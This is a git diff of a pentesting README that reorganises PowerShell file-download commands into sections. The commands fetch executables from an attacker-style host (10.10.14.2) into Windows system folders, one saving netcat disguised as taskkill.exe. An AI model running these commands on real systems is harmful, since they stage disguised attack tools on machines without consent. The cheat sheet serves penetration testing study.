diff --git a/windows/basic-powershell-for-pentesters/README.md b/windows/basic-powershell-for-pentesters/README.md index e9e710dd..6ad0c101 100644 --- a/windows/basic-powershell-for-pentesters/README.md +++ b/windows/basic-powershell-for-pentesters/README.md @@ -39,14 +39,26 @@ powershell -nop -enc ## Download +### System.Net.WebClient ```text (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") -Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" -wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" +``` +### Invoke-WebRequest +```text +Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" +``` + +### Wget +```text +wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" +``` + +### BitsTransfer +```text Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output -#OR +# OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ```